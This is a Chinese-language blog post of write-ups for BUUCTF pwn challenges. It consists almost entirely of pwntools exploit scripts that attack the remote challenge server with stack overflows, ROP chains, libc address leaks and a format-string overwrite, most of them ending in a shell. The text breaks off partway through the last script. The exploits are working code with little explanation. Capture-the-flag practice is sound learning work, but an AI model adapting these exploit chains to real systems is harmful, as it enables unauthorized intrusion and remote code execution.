BUUCTF-PWN(第一页除了最后一行)

于 2024-07-05 21:04:35 发布
阅读量355 收藏 10
点赞数 3
文章标签： 学习
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_50852871/article/details/140159663
版权

test_your_nc

接触buu接触pwn的第一题，会用nc就有flag

程序分析内部直接/bin/sh

rip

简单的栈溢出，溢出0x17字符就行，/bin/sh的地址有

from pwn import *
context(os='linux', log_level= 'debug', arch='amd64')
io = remote('node5.buuoj.cn',26899)
system = 0x40118A
payload = b'a' * 16 + p64(system)
io.sendline(payload)
io.interactive()

warmup_csaw_2016

还是一样简单栈溢出，没有给/bin/sh但是给了cat flag， 一样使用的，并且运行远程环境的时候，给了cat flag 地址。

from pwn import *
context(os='linux', log_level='debug', arch='amd64')
io = remote('node5.buuoj.cn',27665)

cat_flag = 0x40060D
payload = b'a' * 0x48 + p64(cat_flag)
io.sendline(payload)
io.interactive()

ciscn_2019_n_1

数组越界，从v1越到v2并且把浮点型改为16进制

from pwn import *

io = remote('node5.buuoj.cn',28813)
git = 0x41348000
payload = b'a' * 44 + p64(git)
io.sendline(payload)
io.interactive()

pwn1_sctf_2016

需要溢出64个才行，但是没有那么多输入，但是可以看到输入一个大写的I可以变成you，所以思路就有了，输入20个I，变成60you，再加4个就可以溢出了；当然也可以输入21个I,在输入一个a就可以溢出

from pwn import *
context(os='linux',log_level='debug',arch='i386')
io = remote('node5.buuoj.cn',27654)
get_flag = 0x08048F0D
payload = b'I' * 21 + b'a' + p32(get_flag)
io.sendline(payload)
io.interactive()

jarvisoj_level0

基础练习栈溢出，程序有system

from pwn import *
context(os='linux',log_level='debug',arch='amd64')
io = remote('node5.buuoj.cn',28866)
system = 0x400596
payload = b'a' * 0x88 + p64(system)
io.sendline(payload)
io.interactive()

[第五空间2019 决赛]PWN5

from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

#-----------------------------------------------------------------------------------------

context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 25683)
#elf = ELF('./ciscn')
#libc = ELF('./libc')

payload = fmtstr_payload(10, {0x804C044:0x1})
rl(b'your name:')
sl(payload)
rl(b'your passwd:')
sl('1')
inter()

jarvisoj_level2

from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

#-----------------------------------------------------------------------------------------

context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 25729)
#elf = ELF('./ciscn')
#libc = ELF('./libc')

system = 0x8048320
bin_sh = 0x0804A024
payload = b'a' * 0x8c + p32(system) + p32(8) + p32(bin_sh)
sl(payload)
inter()

ciscn_2019_n_8

from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

#-----------------------------------------------------------------------------------------

context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 28645)
#elf = ELF('./ciscn')
#libc = ELF('./libc')

payload = b'a' * 52 + p32(17)
sl(payload)



inter()

bjdctf_2020_babystack

from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 27731)
#elf = ELF('./ciscn')
#libc = ELF('./libc')


sl('1111')
rl(b'name?')


backdoor = 0x00000000004006E6
payload = b'a' * 0x18 + p64(backdoor)
sl(payload)

inter()

ciscn_2019_c_1

from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 26729)
elf = ELF('./ciscn')
#libc = ELF('./libc')

'''
Gadgets information
============================================================
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02
'''


pop_rdi = 0x0000000000400c83
ret_addr = 0x00000000004006b9

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']

sl(b'1')
rl(b'encrypted')
payload = b'a' * 0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
sl(payload)

#rl(b'text')
#rl(b'\n')
#p.recvline()
#p.recvline()
puts_addr =l64()
lg('puts_addr',puts_addr)

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
#get_sb()
system_addr = libc_base + libc.dump('system')
#bin_sh = libc_base + next(libc.search(b'/bin/sh\x00')
bin_sh = libc_base + libc.dump('str_bin_sh')
lg('libc_base',libc_base)
lg('system',system_addr)
lg('bin_sh',bin_sh)


rl(b'chine\n')
sl(b'1')
rl(b'encrypted')
payload = b'a' * 0x58 + p64(ret_addr) +  p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
sl(payload)
inter()

get_started_3dsctf_2016

from pwn import *
# io = process("./get_started_3dsctf_2016")
io = remote("node5.buuoj.cn",26489)
payload = b'a'*56
payload += p32(0x080489A0) + p32(0x0804E6A0) # get_flag_addr:0x080489A0,exit_addr:0x0804E6A0
payload += p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
io.interactive()

jarvisoj_level2_x64

from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

#-----------------------------------------------------------------------------------------

context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 27953)
#elf = ELF('./ciscn')
#libc = ELF('./libc')

'''
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400560 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004a1 : ret
'''

bin_sh = 0x600A90
system = 0x4004C0
pop_rdi = 0x00000000004006b3
payload = b'a' * 0x88 + p64(pop_rdi) + p64(bin_sh) + p64(system)
sl(payload)
inter()

[HarekazeCTF2019]baby_rop

from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 26488)
#elf = ELF('./ciscn')
#libc = ELF('./libc')

'''
============================================================
0x000000000040067c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040067e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400680 : pop r14 ; pop r15 ; ret
0x0000000000400682 : pop r15 ; ret
0x000000000040067b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040067f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400540 : pop rbp ; ret
0x0000000000400683 : pop rdi ; ret
0x0000000000400681 : pop rsi ; pop r15 ; ret
0x000000000040067d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400479 : ret
0x00000000004005fa : ret 0xfffe
'''

pop_rdi = 0x0000000000400683
system = 0x0400490
binsh = 0x601048

payload = b'a' * 0x18 + p64(pop_rdi) + p64(binsh) + p64(system)
sl(payload)
inter()

[OGeek2019]babyrop

from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

#-----------------------------------------------------------------------------------------

context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 29618)
elf = ELF('./OGeek_babyrop')
libc = ELF('./libc-2.23.so')


payload = b'\x00' + b'\xff' * 7
sl(payload)
rl('Correct\n')


main = 0x08048825
write_plt = elf.plt['write']
write_got = elf.got['write']



payload = b'a' * 0xEB + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
sl(payload)

write_addr = l32()
lg('write_addr', write_addr)

libc_base = write_addr - libc.sym['write']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))

lg('libc_base',libc_base)
lg('system', system)
lg('bin_sh', binsh)


payload = b'\x00' + b'\xff' * 7
sl(payload)
rl('Correct\n')

payload = b'a' * 0xEB + p32(system) + p32(0) + p32(binsh)
sl(payload)


inter()



#https://blog.csdn.net/Invin_cible/article/details/121322885

ciscn_2019_n_5

from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 26644)
elf = ELF('./ciscn')
#libc = ELF('./libc')

'''
============================================================
0x000000000040070c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040070e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400710 : pop r14 ; pop r15 ; ret
0x0000000000400712 : pop r15 ; ret
0x000000000040070b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040070f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005a0 : pop rbp ; ret
0x0000000000400713 : pop rdi ; ret
0x0000000000400711 : pop rsi ; pop r15 ; ret
0x000000000040070d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004c9 : ret
0x0000000000400532 : ret 0x200a
'''


pop_rdi = 0x0000000000400713
ret = 0x00000000004004c9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']


sl('abiu')
rl('me?')
payload = b'a' * 0x28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
sl(payload)

puts_addr = l64()
lg('puts_addr', puts_addr)
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
binsh = libc_base + libc.dump('str_bin_sh')
system = libc_base + libc.dump('system')

lg('libc_base', libc_base)
lg('bin_sh', binsh)
lg('system', system)



sl('abiu')
rl('me?')
payload = b'a' * 0x28 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
sl(payload)



inter()

not_the_same_3dsctf_2016

libc泄露

from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

#-----------------------------------------------------------------------------------------

context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 25715)
elf = ELF('./same')
#libc = ELF('./libc')


write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.sym['main']


payload = b'a' * 0x31 + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
sl(payload)

write_addr = l32()
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

lg('write_addr',write_addr)
lg('libc_base', libc_base)
lg('system', system)
lg('binsh', binsh)

payload = b'a' * 0x31 + p32(binsh) + p32(0) + p32(system)
sl(payload)

inter()
#利用puts和exit输出flag
from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

#-----------------------------------------------------------------------------------------

context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 25715)
elf = ELF('./same')
#libc = ELF('./libc')

flag = 0x080489A0
eixt = 0x0804E660
stack = 0x080ECA2D
printf = 0x0804F0A0

payload = b'a' * 0x2d + p32(flag) + p32(printf) +  p32(eixt) + p32(stack)
sl(payload)
inter()

ciscn_2019_en_2

from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 29324)
elf = ELF('./ciscn')
#libc = ELF('./libc')

'''
============================================================
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02
'''
padding = 0x58

pop_rdi = 0x0000000000400c83
ret = 0x00000000004006b9


puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']



sl('1')
payload = b'a' * padding + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
rl('encrypted')
sl(payload)

puts_addr = l64()
lg('puts_addr',puts_addr)


libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

lg('liabc_base',libc_base)
lg('system',system)
lg('binsh',binsh)


rl('choice!')
sl('1')
payload = b'a' * padding + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
rl('encrypted')
sl(payload)



inter()

ciscn_2019_ne_5

from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

#-----------------------------------------------------------------------------------------

context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 25567)
elf = ELF('./ciscn')
#libc = ELF('./libc')


'''
============================================================
0x080482ea : sh
'''


system = elf.sym['system']
sh = 0x080482ea
padding = 0x4c

sla('password','administrator')
rl('0.Exit\n:')
sl('1')

rl('info:')
payload = b'a' * padding + p32(system) + b'si44' + p32(sh)
sl(payload)


rl('0.Exit\n:')
sl('4')

inter()



#https://blog.csdn.net/m0_71081503/article/details/127707560

铁人三项(第五赛区)_2018_rop

from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

#-----------------------------------------------------------------------------------------

context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 26364)
elf = ELF('./2018_rop')
#libc = ELF('./libc')

padding = 0x8c

write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.sym['main']

payload = b'a' * padding + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
sl(payload)

write_addr = l32()
lg('write_addr',write_addr)

libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

lg('libc_base',libc_base)
lg('system',system)
lg('binsh',binsh)


payload = b'a' * padding + p32(system) + p32(0) + p32(binsh)
sl(payload)


inter()

bjdctf_2020_babystack2

from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
